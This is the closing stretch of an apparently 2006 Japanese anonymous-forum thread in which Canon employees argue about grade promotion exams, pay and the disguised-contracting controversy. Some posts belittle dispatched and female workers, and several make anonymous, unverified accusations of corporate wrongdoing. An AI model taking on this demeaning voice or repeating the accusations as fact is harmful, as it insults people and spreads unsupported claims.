>>G3に受かってない人間が、チームのまとめ役につけるのか?
>今の人事制度だと、ジョブレンジだっけ? という定義で、
>G2だろうが、G3以上の仕事をやらされる罠。

ジョブストリップ?で上位の仕事してないとプロモしませんぬ。

898 :ななし:2006/10/10(火) 00:11:02 ID:v41jvPvB
>あなたが今受けたら多分受かりませんね。

同意。
当たり前のように威張ってふんぞり返って
落選者を小馬鹿にして笑ってる輩には
2ゲトすら無理だと思。

899 :思い込み:2006/10/10(火) 20:38:01 ID:po3Mr5kC
誰が受かろうと、誰が落ちようと
892以降が落ちたのは紛れもない事実!
言い訳しないで、来年こそ合格しろよ!
アドバイスは、つまらない思い込みを捨てる事!

900 :gg:2006/10/10(火) 21:16:55 ID:fWDUxMB1
題意に合わない解答をしてたヤツらが論文の祭典してるのだから
ほんとに実力主義が判断できる制度か怪しいもんだ

901 :ななし:2006/10/10(火) 21:37:21 ID:v41jvPvB
漏れは爺さんだが、いま受けたら無理wwwwww
50問一発・論文4回、早くもないが、いい時代だった・:*:・( ̄∀ ̄ )。・:*:・ポワァァァン・・・

が…、G4に試験があるのは知らなんだwwwwwwwww
毎年『上がる気あるか』て聞かれてたのはコレかww
『ぜってーイヤですっ』てゆってるからかwww

ただね、持ってる奴が落ちる奴を小馬鹿にする発言は許せないんだ。
899みたくアドバイスしてやれっつーの。
オレからは・・・2は付け焼き刃じゃ通らねぇ、計画立てて本気で行け。
3はやっぱし日頃の仕事への向かい方だと思う。もちろん基本的な論文テクもね。

>>900つーか採点官から聞く話だとほとんどがそりゃひどいシロモノらしいから
ちょっとマシなの書けば光るんじゃね?
合否はその年の論文採点だけじゃないから、光って落ちたら別のとこかと。

オレは同じ論文を4回書いたがなwww題意に沿わすテクはまかしとけww

902 :turco:2006/10/11(水) 05:42:07 ID:acC73O8Z
>誰が受かろうと、誰が落ちようと
>892以降が落ちたのは紛れもない事実!
その通り。落ちたのは紛れもない事実です。
そして「役割給」という名が実状にあってないのもまた事実。
様々な手当がなくなり、また、昔のように試験に受からなくても
給料が上がり続けるということはなくボックスの天井で頭打ち。
結婚手当がなくなったのはかなり大きいのではないかと。
残業も規制がかかってしまった。
こんな状況なんで、生活が苦しくなりそうな人は早めに見切りを付けて
転職するしかないのかなと。
そんな声が聞こえ始めているのが現状です。

>言い訳しないで、来年こそ合格しろよ!
>アドバイスは、つまらない思い込みを捨てる事!
ありがとうございます。
受からなかった人頑張りましょう。

903 :とりで:2006/10/11(水) 07:03:33 ID:ZeRPcBpz
21:30になると空調とめられる。
廊下の照明はいつも真っ暗。
通勤バスは、夜9時まで。
建物から出ると夜は真っ暗。

まるで、残業するなという仕打ち。
総務の人たち、一ヶ月間毎日22:30に門まで走る生活してみろっての。

904 :ホッシュジエンの国内ニュース解説:2006/10/11(水) 07:14:55 ID:qVptCuHz
 日本経団連の御手洗会長は10日の会見で、北朝鮮の核実験について、「世界が制止しているにも
かかわらず、あのようなことをやるのは、まさに蛮行である。許しがたい行為だ」と述べました。
御手洗会長は、また、北朝鮮に対して、「厳しい措置を取る」という安倍総理の発言は当然だと
したうえで、「民間企業も、政府の姿勢に沿った行動を取るべきだと思う」と述べました。
 ̄ ̄ ̄ ̄ ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 彡ミ    ___  __    正しい意見だが、北朝鮮にミサイル部品を輸出しているのも財界だ。
  |ヽ  /|  ,,,,,,,,l /  / 自国にミサイル攻撃しかねない国に軍事物資を輸出する理由が分からん。
  |ヽ   | | ミ ・д・ミ/_/旦~~ 
  ⊥   |  ̄| ̄|| ̄ ̄ ̄ ̄ ̄| 北朝鮮が核実験をやったという物的証拠はまだ見つかって
  凵    `TT | ̄l ̄ ̄ ̄ ̄ ̄l いません。会長はその理由をご存知ではないのですか? m9(・A・)

06.10.10 テレ朝「経団連会長『核実験は蛮行、企業も厳しい対応を』」
http://www.tv-asahi.co.jp/ann/news/web/econ_news2.html?now=20061010253428

905 :なな氏採点:2006/10/11(水) 21:46:01 ID:bhOJfr5C
↑論旨がない。読ませる文になってない。基本がダメ。全部ダメ。0点。
あいかわらず来てるコニミノ転載厨とかうっぜーよ。

906 :まるこ:2006/10/11(水) 22:47:31 ID:FvLT0emw
今日、G3面接終わった。
転職組みの俺から見ると、キヤノンの試験異常だよ。

仕事中に論文練習してる奴とか、部長にまで論文見せに行く奴。 
アホか、仕事しろ!
あんなもん、一回練習して後はアドリブで書けば何とかなるだろ。

後、指導してやるから持って来いというやつ多杉てうざすぎ。
給料上がらんのは我慢できるが、また来年この苦痛を味わうかと思うとマジ受かりテー

907 :なな氏:2006/10/11(水) 23:18:54 ID:bhOJfr5C
>>906乙。

>指導してやるから持って来い
で、みんなが違うコト言うんで困るんだよなぁwww
あちらを立てればこちらが立たずでどんどんズタズタになってゆく原稿www

908 :ガス橋:2006/10/11(水) 23:43:43 ID:whRO3qz7
雑用なんて派遣にやらせて論文の練習。



909 :なな氏採点:2006/10/12(木) 01:54:37 ID:WXjli424
覗かしてもらったが、キヤノンの試験を見ると、
うちなんてかわいいもんだ。。。

キヤノンのやり方が日本の会社に浸透しないことを願う。



910 :しkを:2006/10/12(木) 02:32:05 ID:Wnkihl+Z
おなじ仕事で、給料に格差。

格差を埋めるには、年一回の一発勝負に勝利が必要。

負け続けるひとは、ずっと負け続ける。

運良く、もしくは、本当に力のある人は、1回勝って、抜けていく。

役割とか実力ってなんなのだろう。

やっぱり、年一回の一発勝負に参加できる役割と、一発勝負に勝つことのできる実力のことなんだろうな...

漏れのような、ァ( `_ゝ´)フォオオオオオオオオオ!社員にはきついな。

ヽ(τωヽ)ノ モウダメポ

911 ::2006/10/12(木) 15:44:08 ID:LImNFiFD
昇給抑制は周知の事実だが期間工の給料高いのね。
ヘボイ爺2並貰ってるのな。マジアリエナス。
数年後この期間工の正社員制度をめぐり揉めそうやね。

912 :odik:2006/10/13(金) 00:11:08 ID:YdkHpAWw
ちょっとむかしだが.....

http://www.mynewsjapan.com/kobetsu.jsp?sn=95

913 :ななし:2006/10/13(金) 12:58:42 ID:eivPEhPE
芋煮会は来週だ 2点

914 :宮城県民:2006/10/13(金) 23:26:55 ID:5Emw6aN6
多摩川のほとりで芋煮してるんですか?

915 :キヤノンなんて屁:2006/10/14(土) 00:07:48 ID:yPCZ2uCU
902 あんたの言うとおり。 おれは試験を通って、辞めたぞ
みんな1年に1度の大仕事にこだわりすぎ。本当にこだわる必要があるのは
自分が世間で通用する実力をつけているかどうか。
他の会社からも欲しいと思われる人材になれるかどうか。
試験に受かった落ちたで一喜一憂するのは良いが、世間に通用しない能力のままで
時間が過ぎていくのにそれを誰も気にしないのが不思議。
このまま退職まで高い利益を続けられると本気でみんな思っているのか?
試験にこだわる皆さん、本質を見抜くような仕事の仕方、生き方を選びなさい
本質を見抜けないとおっさんになって捨てられるぞ

試験なんぞ、単なる制度。人生を左右するにはバカバカしい

916 :アホかぁ!:2006/10/14(土) 10:22:10 ID:HgXY1Tv1
試験なんて昇給の為の単なる制度なんだからさっさと合格して
次のステップへ進めばいい!受からないやつは問題読めないか、
独りよがりな作文を妄想交えて書いてるやつだろ!
大体、G2クラスがつまんねぇ愚痴たれてんじゃねぇよ!
落ちてんだから、能力の無さを反省して、辞めるか、努力するかだろ!
この程度の試験で愚痴たれてんじゃ、どこ行っても通用するわけない!



917 :a:2006/10/14(土) 10:49:26 ID:67ZyWdtI
256 :名無しさん@お腹いっぱい。:02/12/13 16:45 ID:rfW1coOy
〜2ちゃんねらの予言〜
北朝鮮の現体制が崩壊したとき、いったい何が起きるか。
2ちゃんねらの一人として、あらかじめ予言しておきます。
1)にわか反体制運動家の出現
 それまで金正日体制に取り入ることができずに冷飯を食わされていた人間が、
 とつぜん「俺は独裁に反対したために睨まれていたんだ」と言い出します。
 体制崩壊の原因が経済破綻だったにもかかわらず、それまで名前も顔も知ら
 れていなかった「反体制運動家」が雨後のタケノコのようにあちこちから出現。
 まるで体制を崩壊させたのが自分の手柄であるかのように自慢げに振舞います。
2)みんな「俺は強制されていた」
 それまで金正日万歳と叫び、進んで体制を支持していた人たちは、恋人に騙された
 女子高生のような顔をして「自分は騙されていたんだ!」「強制されていたんです!」
 と、実は昔から独裁体制の悪弊を見抜いていたかのようなことを言い出します。
3)独裁体制が続いたのは日本のせいだ
 そして「にわか反体制運動家」「騙されていた善良な人たち」は口をそろえてこう
 言い出します。
 「あんなひどい独裁体制が21世紀まで続いたのは、日本が経済支援をしたからだ!」
 「金正日体制を裏で支えたのは日本だ!」
 「北朝鮮に独裁国家があったのは、日本のせいだ!」
 「日本は復興を支援して当然だ!」
これ、絶対当たりますから、あちこちに貼っておくといいですよ(笑)。
そのときに「ああ、そんなことは日本では前からネットで予想されてましたよ。」
と言って微笑むためにも、ね。

918 :コニカミノルタのスレにこんなすっぱ抜きがあった。:2006/10/14(土) 21:07:56 ID:Suwq58O4
キヤノンの皆さん、参考にしてください。

:2006/06/16(金) 02:38:50 ID:uB2mDww/
試験はレヴェリングにも使っていたと思う。100人合格枠があったとして、Aという職場の受験生のうち10人が
100番以内に入ったとすると、10名分合格枠を持ってゆく。
そのあと、職場の誰を候補にするか調整だ。個人の立場から鑑みれば、ある個人は
職場の誰かを合格させるために受験勉強したことになる。
 部品加工職場などは、50点満点の試験で、5点とか8点しか取れない人ばかりだから、枠そのものを
もっていけないという現象も出ていた。仕事のできる人は沢山いたけど・・
 組合幹部からの口入もあった。女の人で17時帰りパターンの人だったと記憶してるけど。で、まー、組合が
言うには、真ん中より上なら通してくれんかなという強い要望だった。17時に帰って勉強しただけあって
真ん中より少し上であったため、通したりしていた。
 縁故もあった。一度だけだと思うけど、数名から十数名を無試験で通していた。本人に良く言い含めた上だけど。
あと、試験を連続受験してると、毎年下駄を履かせる運用もしてた。8年も連続受験してると理論上
0点近くでも合格できるのだ。こころある上司は、毎年受けさせるように仕向けていた。
エゴイストの上司は、職場の実績がおなじなら昇格抑えたほうが自分の昇格につながるから何も言わず
酒場で、「あいつ、ついにあきらめたわい」と喜んでたりした。
とにかく問題の多い制度よ

919 :うぃない:2006/10/15(日) 00:36:57 ID:5bM+9AM+
インバスケットってなに鍛えればええねん。

ぜんぜんわからん。

どうしようもないじゃんよー。

920 :まあねぇ:2006/10/15(日) 13:33:21 ID:3qGPKObg
インバスって、仕事をどうこなしてきたか、どんな判断でやっていくかが
問われる試験だから、本質的に情報の選別や優先順位をつけられない輩は
何度受けても、合格しないよな!基準以下の能力しかないんじゃ
G2にとどまるか、辞めるしかないんじゃない・・・
キヤノンで上にいくためには能力ないとだめぽ!

921 :質問:2006/10/15(日) 18:52:35 ID:7fe85NHo
一生G3とかってありえるの?

922 :モチベーションってなに、うまいの?:2006/10/15(日) 20:04:23 ID:pEBuF2KP
正直疲れたや
入社してから、どんどん息苦しい空気になってる。
今のうちに辞めて田舎に戻ろう・・・

923 :なな氏:2006/10/15(日) 22:09:53 ID:2/lLEMXi
コニミノ貼り付け厨うざい、いいかげんにしろ
誰も聞いちゃいねえんだよ消えろカス

924 :もろA:2006/10/15(日) 23:22:48 ID:7ObFITRH
コンプライアンス週間とかいいながら冊子に書いてある内容は
会社自体が違法行為している内容がいっぱい。

例:
偽装請負社員問題、玉川事業所の土壌汚染隠蔽、


925 :.:2006/10/16(月) 16:01:06 ID:yeqipJnC
製品の不具合隠蔽。

926 :921へ:2006/10/16(月) 18:47:32 ID:jrD6Iq0R
多分、途中でG2に降格だろう・・・

927 :メンバー:2006/10/17(火) 06:52:55 ID:JOWk8vWC
危なっかしいけど出荷確認
危なっかしいけど出荷確認
危なっかしいけど出荷確認
危なっかしいけど出荷確認
危なっかしいけど出荷確認
危なっかしいけど出荷確認
危なっかしいけど出荷確認

928 ::2006/10/17(火) 23:58:32 ID:7jPnHsFL
>>927
人事に通報しますた。
機密漏洩は情状酌量ないよ。

929 :配布冊子多いね:2006/10/18(水) 01:26:36 ID:wpeySnYO
「チャンピオンデータの使用」にはワロタ

印刷会社とか書いてなかったと思うけど、やっぱいつもの?儲かるね。

930 :うぃ:2006/10/18(水) 12:47:33 ID:/y1YV2/x
昇格試験が人生を左右する会社 きやのん。

どうにかしてくれYO!

931 ::2006/10/18(水) 13:20:04 ID:L8ktKLc7
>>921ありえるかな。
皆が昇格するとは思えんし。

932 :ぐぇ:2006/10/18(水) 18:11:42 ID:wpeySnYO
いいかげん昇格話飽きたんだが・・・
仕事バリバリできるのに何度受けても一次で落選って、
やっぱしなんか試験の受け方に問題があると思うのだが。
できるできない以前の、なんか勘違いとか早とちりとか。
そこクリアできねんじゃそりゃ落ちても仕方ない、って言われるべ。
いくら難しくなってるったって、受かってる奴もいるんだから、受かる方法はあるんだよ。
それがわかんなくてできないんだったら、落ちてもしゃーねーべ。
試験問題は仕事の進め方に通ずることになってんだからよ。
自分のやり方で押すだけでなく、試験に合わせれ。仕事も器用さがないとダメなんだからよ。

933 :000000:2006/10/18(水) 18:56:51 ID:/ehr1OV1
>>927
経費削減のために教育しないハケンつかって出荷確認ってコト?
ま、ドコノジギョウブもいっしょやねぇ〜 (笑

934 :質問921:2006/10/18(水) 19:07:25 ID:lhX/Uhq9
でも、一生はないでしょ?
40、50でG3とかって聞いたこともないっすよ?
なんか、ここのスレ見てたら昇進が無理そうなら、辞めなきゃ辛そうだな・・・・・

935 :ぐぇ?:2006/10/18(水) 20:21:56 ID:wpeySnYO
まさか全員が管理職になるなんてバカな事聞いてる訳じゃないだろ?
定年までG1G2G3当たり前にいるしこれから役割で降格もありえ杉。
昇格しなくてもそれなりに自分で納得して過ごしてる人も大勢、G4→G3も普通に居る。
マネジメントだけが道じゃねえだろ。
なにゆってんのかわかんねえ、あんた仕事の範囲狭杉だ、キヤノンは広いぞ。

936 ::2006/10/18(水) 21:04:56 ID:L44rlTAo
40,50でG3どころかG2もたくさんいるべ。考え甘すぎ。

937 :ううう:2006/10/18(水) 22:43:22 ID:Su3xWo9Q
そういう人って、高卒とか高専卒入社?
東大とか高学歴でもそんな事があるのかな。
学歴は関係ないにせよ東大でたポテンシャルはあるわけだよね。

938 :ぐゎ:2006/10/18(水) 23:03:05 ID:wpeySnYO
G4ってのはマネジメント側だろ?
課長クラスはヒトの扱いに優れた人材がやればいいだけの話。
オレはやだね。
仕事としてそこに上下があるとも思ってねえ。
面倒な雑用を庶務がやってくれるのと同じだと思ってる。

部長クラスはもっと大きな視野で判断を下せるヒトね。
もはやオレの仕事とか能力の延長線上ではないと思ってる。

934・937は自分がどんな仕事に向いてるか考えよう。
役付きがエライ→世間体で出世したい、みたいな考えは古いと思う。
自分がマネジメントの能力に優れていると思えば目指せばいい。

役が欲しいだけならもっと小さな会社に転職したほうがいいかもね。
そんな考えで上がられるとオレら迷惑だし。

939 :ななし:2006/10/18(水) 23:53:57 ID:NrU5tXIN
>>930
>昇格試験が人生を左右する会社 きやのん。
あのぐらい出来なければあがらんだろ。

試験前に練習するか否かの問題ではない。やる気があるなら通年で準備
すりゃいいだけでしょ。

940 :ななし:2006/10/18(水) 23:58:54 ID:NrU5tXIN
>>934
>40、50でG3とかって聞いたこともないっすよ?
>なんか、ここのスレ見てたら昇進が無理そうなら、辞めなきゃ辛そうだな・・・・・
そうか?
今も当然あるし、これからは当然もっと増えるだろ。
”役割”なんだから、成長せずにメンツ変わらない組織だったら、役割はずっと
変わらないどころか仕事だけ増える。

あたりまえじゃん。

941 :一般開放デー:2006/10/19(木) 18:13:54 ID:E/hGD6vI
興味があって覗いてますが、
前からよくでてくるG1 G2 G3…って何なんですか?
社員の階級制度みたいなものなのですか?
詳細を求む。

942 :JRA:2006/10/19(木) 18:47:25 ID:IDxaFjay
重賞レースのことだ




とボケてみる。

943 :名無しさん:2006/10/19(木) 18:47:35 ID:Yo1UO8fq
>>941
>社員の階級制度みたいなものなのですか?

その通り。

944 :さげ:2006/10/19(木) 18:54:08 ID:YNb29II8
そろそろ最終合否結果の発表だね。
この板に受かりそうなヒトいるの?
受かったヒトは自分なりのコツをここで語るというのはどうだろうか?

945 : :2006/10/19(木) 22:07:23 ID:VGtPp/Ou
最終合否って10月末なの?

946 :sow0:2006/10/19(木) 23:33:00 ID:kJ6wVpD0
>>941
>社員の階級制度みたいなものなのですか?

G4 > G3 >>>>>>>>>>>>(越えられない壁) >>> G2 > G1

G2以下は奴隷。

947 :便所所:2006/10/20(金) 06:53:29 ID:6jaaf6+g
さすが会長! おれたちに言えない事を平然と言ってのけるッ そこにシビれる! あこがれるゥ!」

【経済】「無理ありすぎる」 経団連・御手洗会長、請負法制の緩和訴える…「偽装請負」に絡んで★2
http://news19.2ch.net/test/read.cgi/newsplus/1161279916/

948 :sony:2006/10/20(金) 08:54:39 ID:8F/h2fSt
Sonyからキヤノンに転職してる奴が多いというので、どういう会社化知りたくて飛んでキマツタ(・∀・)
昇進のための試験があるんですね。
なんか警察とか自衛官というよりも、日夜バイトしながら大学通っているみたいな悲壮感を感じますが・・・


949 :そのとおり:2006/10/20(金) 20:43:06 ID:zQH+T6oc
ものすごいストレス感じるよ!たかだか年収900万を確保するために
なんでこれ程まで、努力しなけりゃならないんだ!しかも
その年収が保証されるわけじゃないし・・・
おかげで鬱のオンパレード!!特にG4に多い!

950 :( ・_・)〆~~~~~~~~~し:2006/10/20(金) 21:09:07 ID:6naVcEzv
年収900万のG4が書いた文章にはとても見えない件

951 :チョピン:2006/10/20(金) 21:37:21 ID:G+jZSYCZ
900万も貰ってて贅沢言うなYO
鬱でも病気でもなんでもなってさっさと辞職してくれYO

952 :あ〜あ:2006/10/20(金) 21:45:01 ID:6naVcEzv
|:::::::::::::::::::::::::::::::
|" ̄ ゙゙̄`∩::::::::::::::::
|,ノ  ヽ, ヽ:::::::::::::::::::::::::
|●   ● i'゙ ゙゙゙̄`''、::::::::::::::::
| (_●_)  ミノ  ヽ ヾつ::::::::::
| ヽノ  ノ●   ● i::::::::::
{ヽ,__   )´(_●_) `,ミ:::::::
| ヽ   /  ヽノ  ,ノ::::::

953 ::2006/10/21(土) 00:00:14 ID:2b4Wjlks
てめーらみたいな脳無しに年収900万かよ!?さっさと辞めちまえ糞どもがっ!

954 ::2006/10/21(土) 00:11:37 ID:pz5ZMwfY
↑と、年収300万以下の底辺が叫んでいます

955 :~(-~-;)~:2006/10/21(土) 00:47:57 ID:0Y6gpDgc
>>949>>953の自演はいったい何がしたかったんだ?

956 :!(^^)!:2006/10/21(土) 01:20:57 ID:0Y6gpDgc
理解した。
949=953は、自分の年収を900万にするために努力してるのが辛い、ってことか。
そんな文章書いてるようじゃ無理だな。
努力の方向が間違ってる、というか努力してるようにはまるで見えない。
上司のウツはおまいのせいだ。
上が能なしなんじゃなくて、おまいみたいな部下がいるから成果が出ないのだ。

957 ::2006/10/21(土) 01:28:00 ID:63HoYNIK







      こ こ は 大 卒 の 正 社 員 が い な い か ら ね 。







高卒や派遣やバイトばかりの掃きだめ。


958 :ここ?:2006/10/21(土) 02:27:49 ID:0Y6gpDgc
ここ、ってどこの派遣会社のことか知らんが釣りならもちっと刺激的に頼む。

959 :派遣のはなし:2006/10/21(土) 09:32:59 ID:LYHjVXAM
俺の近くにいる♀派遣は最悪。顔も性格もブス。
他の♀社員とぺちゃくちゃしゃべってばかり。
そのくせ定時過ぎても仕事が終わらないと言って帰らない。
とっとと辞めて、もっとまともな人が来てほしいよ。

960 :ソニーからの転職希望者:2006/10/21(土) 14:51:15 ID:SwQB4YBA
でキヤノン中途採用ネタがもりあがってるね。↓
http://hobby8.2ch.net/test/read.cgi/sony/1161257502/

961 :日立さいん:2006/10/21(土) 14:52:14 ID:5IMEiJH/
http://www.geocities.jp/zinzinzin36/HTM-File/LINQ.htm

962 :宇都宮:2006/10/22(日) 13:53:25 ID:lWO2tJJd
 キヤノンの工場で働く人材会社の請負労働者が、違法な「偽装請負」の
状態で働かされてきたとして、労働組合を結成し、18日、正社員として
雇用するようキヤノンに申し入れた。キヤノンで10年働いている
労働者もいるといい、「正社員になって、いいものづくりをしたい」と
訴えている。

 宇都宮光学機器事業所でレンズの製造などに携わる4人が18日昼、
労働組合東京ユニオンのメンバーらとともに、東京都大田区のキヤノン本社を
訪れ、要求書を会社側に手渡した。

 要求書によると、組合に入ったのは17人。17人は、今年5月までの
1年間は派遣労働者として働いたが、それ以外の期間は、キヤノンから
製品の生産を請け負った人材会社の労働者として働いた。ところが、
その間も、「実際はキヤノン側の指揮命令を受ける偽装請負が続いていた」と
いう。

 偽装請負は実質的には派遣状態とみなされる。17人は1年以上
働いているので、労働者派遣法で定めるメーカー側の直接雇用の申し込み
義務が適用されると主張している。

 キヤノンで6年半働いているという男性(31)は「世界一のレンズを
自分たちが造っているという誇りがある。できることなら正社員になって
これからもそれを造り続けたい」と述べた。

 キヤノンでは、宇都宮工場や子会社の大分キヤノンなどで偽装請負が
発覚し、労働局から昨年文書指導を受けた。今年8月には「外部要員管理
適正化委員会」を設置し、年内をめどに偽装請負の解消を目指している。



963 :LBP:2006/10/22(日) 14:40:33 ID:gGu5nRc3
ここのレーザープリンタって紙詰まりが取れにくい。

964 :おてあらい流コンプライアンス:2006/10/22(日) 16:22:00 ID:qg1iGWh3
経団連会長って法律よりも偉いんですね。
社員にはルールが悪いせいにするなって言ってるくせに…。

 408 名前: 就職戦線異状名無しさん Mail: 投稿日: 2006/10/21(土) 23:09:10
 しんぶん赤旗ww

 キヤノン偽装請負 告発されて御手洗経団連会長“法律が悪い” 「制度見直せ」と居直り

 ttp://www.jcp.or.jp/akahata/aik4/2006-10-20/2006102001_01_0.html


965 :ななし:2006/10/22(日) 17:10:28 ID:awJyozN0
>>964
>キヤノン偽装請負 告発されて御手洗経団連会長“法律が悪い” 「制度見直せ」と居直り
まあ、後からルールが変わったからねえ。。


966 :ななし:2006/10/22(日) 17:13:01 ID:awJyozN0
おっと、途中で逝っちまった
昨今の何でも下へ投げて終わりの仕組みだとやることばっか増えてるから、こういうことは後回しだね。
やっても利益にも評価にも関係ないしねえ。

967 :ななし:2006/10/22(日) 18:12:35 ID:LK7by0cp
だね

968 :  :2006/10/22(日) 22:32:54 ID:5quQYadK
>>962
これだったのか。
昼休み中に賑やかだったよ。

969 :ななし:2006/10/22(日) 23:52:34 ID:i6FCBI7Z
>>963は板違い
ではあるんだが機種は何よ?

970 :はなし:2006/10/22(日) 23:59:31 ID:mdIi8Z5h
>>962
あの人達は、指示された時、
「契約外です」と言えなかったんですかねえ?
誰が責任取るの?

971 :ななし:2006/10/23(月) 00:36:28 ID:YCn2HJRr
大阪では大手派遣会社のほうが処罰された。
派遣先企業の責任はニュースでは何も言ってなかった。

972 ::2006/10/23(月) 04:26:28 ID:4pIftTh1
はぁ〜面倒臭い事になってるね。
漏れのまわりの派遣&期間見てもまともなの居ないぞ。
正社員雇用とかマジ勘弁orz

973 :    :2006/10/23(月) 09:35:29 ID:yLxmOJGg
たかが900万の年収のためにさらにくだらなくなった試験を受けているのか。
さっさと辞めてよかったよ。
今じゃ、年収1000万超、おまけにあご足つきでの出張、残業なんて月に
10時間もあればいい方だよ。
必死にしがみつくほどの会社か?
会長が違法行為しながら、法律が悪いなんて言う厚顔無恥もいいところの会社だよ。


974 :ななし:2006/10/23(月) 23:44:51 ID:7XvNwyHq
>>973
>必死にしがみつくほどの会社か?
いんや、前はそれなりに良かったが、もうその価値ないな。

>今じゃ、年収1000万超、おまけにあご足つきでの出張、残業なんて月に
10時間もあればいい方だよ。
いやぁ待ってたよ。そういう景気のいい話が聞きたかった
ここらへん見てても、”これでもいい方なのか?”って洗脳されるような話ばっかで
気が滅入ってたところだ。

975 :ななし:2006/10/24(火) 00:51:39 ID:3IYWaqmm
他に行くとか興すとかできる実力や度胸のないものには最高の会社です。
G3だけ取っちゃえばあとはナンチャッテリーマンで定年までおk、な時代は・・・終わっちゃうんですかねぇ。。><

976 :age:2006/10/24(火) 06:23:56 ID:mdFK4F0K
。・゚・(ノД`)・゚・。 うえええん

漏れもG3ほしいよー....

ageてくれYO−.

試験地獄もういやぽー。


977 ::2006/10/24(火) 09:12:31 ID:vC1+IQpn
ナンチャッテ〜でいるはずが気が付けば管理職

978 ::2006/10/24(火) 10:21:19 ID:otuUgF8k





      こ こ は 大 卒 の 正 社 員 が い な い か ら ね 。







高卒や派遣やバイトばかりの掃きだめ。

979 : あ:2006/10/24(火) 10:50:05 ID:toYLLj9r
キヤノンの新卒のほとんどが院卒で、半数以上が旧帝大+東工大+早慶の理系院卒エリート。


子供の頃から学校でトップクラスの成績で受験勉強も必死で行い、大学時代も真面目に勉強。
学級委員や部活のリーダーを務めた経験は当たり前。
大学3年〜修士2年の3年間はそれこそ休日も返上して朝から晩まで研究研究の日々。


子供の頃から激烈な勉強をしてきた彼らに派遣上がりが勝てると思ってるの?
勉強歴では中学〜大学院で12年ぐらいの差がついてるだろ。


正社員になるとは、そういったエリート達と同じ土俵に上がること。
そういうことだと思う。



980 ::2006/10/24(火) 17:54:13 ID:rm6+iaGz

院卒だが、中卒だが知らんが
そんなことを言うなら全部院卒だけでやれば良いのでは?

たとえ、中卒でも長期雇用するのであれば正社員にするのは当然!

最近は、肉体労働だけでなく技術者のアウトソージングもあるみたいだし
この現状を放置すれば、君ら院卒正社員様も派遣にとってかわられちゃうよ。




981 :ぷっ!:2006/10/24(火) 18:30:36 ID:icOZzGgE
派遣がとってかわる?あんまり笑わせないでよ!ゲラゲラ
開発にいる派遣を見渡しても、せいぜいG1クラスで
とてもG2/G3には手が届きそうもない輩ばっかり!
言われた事だけやってりゃいいの!!!寝言は布団の中でほざけ!

982 :ぷっ!:2006/10/24(火) 19:29:02 ID:yLlSwXFK

派遣でキヤノンに働いている方へ
http://www.t-union.or.jp/kannon/shibu.htm



983 :さげ:2006/10/24(火) 21:55:36 ID:z61VvYsO
内情を知らないんだな。院卒でもSAT2にさえ受からない奴も多いのが実情だぜ。知った風な事を言ってるんじゃないよ。
『大学を出たからって大きな顔をされちゃ困る。中卒だからって卑屈になってもらっちゃ困る。この会社は実力主義です。』
誰の言葉か解るかい?


984 :名無しさん:2006/10/24(火) 22:05:45 ID:MwHq/0em
で、次スレは?

985 ::2006/10/24(火) 22:07:35 ID:osuys7xQ
>>983御手洗マンセー

986 :ななし:2006/10/24(火) 23:23:34 ID:3IYWaqmm
>>990
次ヨロ

987 :ななし:2006/10/24(火) 23:27:50 ID:Ois+Wg9I
実力主義がホントなら,力ある派遣社員が,正社員になれることを祈る。
現実のところ,派遣社員スレと正社員スレは別の方がよさそう。

988 :ななし:2006/10/24(火) 23:43:30 ID:pxEIFca7
>>987
>実力主義がホントなら,力ある派遣社員が,正社員になれることを祈る。
するわけないじゃん。本当は正社員を派遣にしたいんだから。


989 :ななし:2006/10/24(火) 23:46:52 ID:pxEIFca7
TBSでホワイトカラーエグゼンプションについてやってたなのみたか?
番組じゃ過労死と結びつけてたが、まあ実施したら逝っちゃう中間管理職が
激増するだろう。
まあ、死んでくれればリストラじゃないって言えるからいいわな。

990 ::2006/10/25(水) 04:32:41 ID:AFN0jYU9
仮に派遣が正社員になれたとしょう。
正規入社した人達と明らかな差を付けられるよ。
で、またゴネるのかな?

991 :さげ:2006/10/25(水) 07:50:54 ID:IFCZvmuW
また言ってるね。正規入社社員のレベルの低さが見えていないようだ。
派遣だって優秀な人間もいるだろうし、正社員でも駄目な奴も沢山いるじゃん。
そう言う君はA1評価をちゃんととれているのかな?


992 :a\:2006/10/25(水) 09:28:49 ID:Xy6yKgri
スレタテ乙
ttp://tmp6.2ch.net/test/read.cgi/company/1161735472/


993 ::2006/10/25(水) 19:07:23 ID:aU185qc5
正社員だろうが派遣さんだろうが、皆キヤノンで働いているということには間違いないだろ?
皆仲良くやって、会社の業績あげてこうよ!!!!!

ちなみに、派遣と社員でボーナスちがうのだろうか?

994 :ななし:2006/10/25(水) 19:07:31 ID:JGVLhJPQ
でわ、梅。
ホワイトカラーなんちゃら、覚えられん。

995 ::2006/10/25(水) 19:30:41 ID:nVCbHPs0
キヤノンなんて誰でも入れるんだしいきがるな。
恥ずかしいから。

メーカーって恐ろしく簡単に入れるのよ。

996 :ぷっ!:2006/10/25(水) 19:36:22 ID:A7vi7qXe
入ってみな!
今、中途採用がいかに厳しいか実感してみろ!
多分、応募も無理だろう・・・

997 :ななし:2006/10/25(水) 20:16:08 ID:JGVLhJPQ
>>995
不法侵入通報しますた

998 :名無し:2006/10/25(水) 21:53:10 ID:ZtTHT56L
1000

999 ::2006/10/25(水) 22:03:02 ID:Njn1m8q/
1000-1

1000 :konica:2006/10/25(水) 22:06:42 ID:SVXIDVFS
1000ならあと10年でコニカがキヤノンを凌駕

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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